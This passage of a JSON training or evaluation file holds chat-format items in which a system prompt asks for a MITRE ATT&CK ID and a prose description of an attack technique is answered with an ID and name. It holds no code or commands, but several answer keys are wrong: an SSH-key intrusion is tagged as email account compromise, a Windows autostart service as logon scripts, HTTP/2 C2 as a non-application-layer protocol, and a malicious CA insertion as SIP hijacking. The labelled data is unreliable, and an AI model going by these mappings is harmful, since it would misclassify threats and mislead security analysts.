                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used the DCSync method to request password hashes directly from the domain controller, effectively dumping credentials from the Windows Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the NtUnmapViewOfSection function, the malicious code unmaps the legitimate program’s memory and maps its own executable into the process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire detailed engineering diagrams of a target's weapons systems from a private contractor."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑infrastructure abuses MSBuild to compile and run malicious C# code on the target system without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder adds a new login to a SQL Server instance using the CREATE LOGIN command for database access."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the native Windows password filter DLL with a malicious one to capture clear‑text passwords during user login."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JavaScript in a browser exploit triggers Windows Script Host to run a hidden command prompt, indirectly executing system commands."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a JavaScript payload that, when executed, captures keystrokes within the browser and transmits them to a webhook."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries gather information on the victim’s internal structure by compiling a list of job functions and reporting lines of staff members."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged a compromised developer account to request and obtain a legitimate code‑signing certificate from a public CA."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses an exploit kit to identify and exploit vulnerabilities in users' browsers or plugins, often leading to the installation of additional malicious software."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script checks for an existing sudo timestamp file and, if present, uses it to run a privileged update without detection."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious .chm file and leverages the built‑in Windows HTML Help executable to run PowerShell commands on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals utilized Hashcat with a custom wordlist to brute‑force crack password hashes obtained from a credential dump."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fast-flux DNS is employed to hide the location of a botnet's command server behind a constantly changing pool of IPs."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchased a compromised database from a dark web marketplace containing email addresses, phone numbers, and birth dates of potential targets."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a Visual Basic script to inject code into a running process via COM objects."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a rootkit that hooks the syscalls table on macOS to conceal malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a malicious LKM that is automatically loaded through the /etc/modprobe.d/blacklist.conf configuration."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses a compromised SSH session to push a custom script onto a target for later execution."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating the LNK file’s icon data, the adversary hides a reverse shell payload that is launched when the shortcut’s icon is processed by the OS."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor compromises a user's session by stealing their cookies or authentication tokens, what MITRE ATT&CK ID represents this action?"
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage group disguises command and control traffic within HTTP/2 frame payloads that bypass deep packet inspection."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes a VBA macro to execute malicious code on a compromised system, often through a phishing campaign or infected document."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercise demonstrates data exfiltration by moving files onto a Bluetooth paired flash drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exfiltrates data over a custom TCP protocol that mimics normal application traffic."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor issues remote PowerShell commands to retrieve installed software lists from other systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary overwrites legitimate VBA macro code with malicious payloads, effectively stomping the original code to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fileless malware hides its malicious PowerShell commands within encoded strings that are decoded at runtime."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a domain controller, the threat actor created a Golden Ticket by crafting a Kerberos TGT with arbitrary user and group claims."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts plain text passwords leaked in the victim's .bash_history file after the user typed them in a terminal session."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromised a third‑party Certificate Authority’s signing infrastructure to issue counterfeit client authentication certificates."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised credential was used to edit the network ACLs, allowing traffic from unauthorized IP ranges."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a disk structure wipe, erasing partition tables, boot sectors, and file system structures."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a Windows service with an automatic start type to execute a backdoor during boot."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker subverts the OS trust provider by inserting a malicious certificate authority, causing false verification of malware."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group hijacks the DNS zone transfer process to obtain the entire zone file and inject malicious entries."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits an insecure API endpoint to upload a malicious file that is later executed by an automated processing system."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a zero‑day exploit, the attacker improves their capabilities for future operations."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a vulnerable IIS extension to load a malicious .NET assembly that runs with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker assembles a malicious Android APK that requests device admin rights."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor abuses the OAuth login flow to generate repeated MFA push alerts, aiming to perform a push‑bomb attack."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script adds a new InprocServer32 entry for a known COM class ID, pointing to a malicious DLL that runs with the user’s privileges."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a vulnerability in the authentication service's API to replay previously captured MFA tokens."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deployment of a compromised server software component that acts as a transport agent, injecting malicious payloads into network traffic."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leaves a compromised USB cable in a shared workspace; when connected, it installs spyware onto the host machine."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group injects custom claims into JWT tokens during sync, granting persistent access across on-prem and cloud services."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised SSH key to gain initial access to a Unix server and deploys a cryptominer."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor authenticates to the corporate network using a compromised domain administrator account to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed malicious commands within standard MQTT messages used by IoT devices."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets up a rule in the victim's mail system to mark malicious emails as read and move them to a concealed subfolder."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary extracts service account credentials from Active Directory by requesting service tickets for SPNs and then performing offline cracking of the Kerberos Ticket Granting Service (TGS) tickets to recover plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool creates a TCP tunnel over port 443, disguising its traffic as regular HTTPS to bypass corporate firewalls."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor repeatedly uploads large files to a cloud storage service, causing the back‑end processing pipeline to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses a cloud VM through the provider's native remote desktop gateway, establishing a direct connection."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages launchctl to load a malicious launch daemon from a temporary directory, ensuring execution after reboot."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage the Windows API SetFileAttributes to hide their malicious binaries in a disguised folder."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s tool computes a list of candidate domains using a Caesar cipher on a base string, then resolves each via DNS to locate the active server."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a new TLS index and writing shellcode into it, the adversary hijacks a victim thread to run the injected code."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor script utilizes the \"New-LocalUser\" PowerShell cmdlet to generate a hidden local administrator account."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker clears evidence by removing network share mount points and associated shortcuts."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accessed members‑only sections of competitor websites to gather intelligence on upcoming product releases."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit NTP monlist requests to amplify traffic and overload the target's network infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved obtaining the full configuration of network switches to discover network segmentation."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant reads the file `C:\\Windows\\System32\\GroupPolicy\\Machine\\Registry.pol` to discover defined local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reconnaissance tool scans internet‑wide for exposed Elasticsearch instances belonging to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program modifies the UEFI firmware to inject code that runs before the operating system boots, effectively creating a bootkit."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan employs a DGA that incorporates the device’s UTC offset into the domain name generation process."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs steganography to hide malicious code within image files that are then downloaded as part of the infection chain."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs a compromised service principal in Azure to enumerate and access sensitive resources."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this campaign, the threat group uses a DNS‑over‑HTTPS service as a covert channel, embedding command data in DNS queries to act as a dead drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor establishes a symmetric‑encrypted TLS‑like stream over port 443 to transfer data out of the network, not identified as C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Mimikatz \"privilege::debug\" command to enable account creation and then adds a domain account via LDAP."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a PowerShell script that registers a low-level keyboard hook to log GUI-based password entries."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies registry keys that control Windows Defender's alert settings to prevent detection notifications from being displayed."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
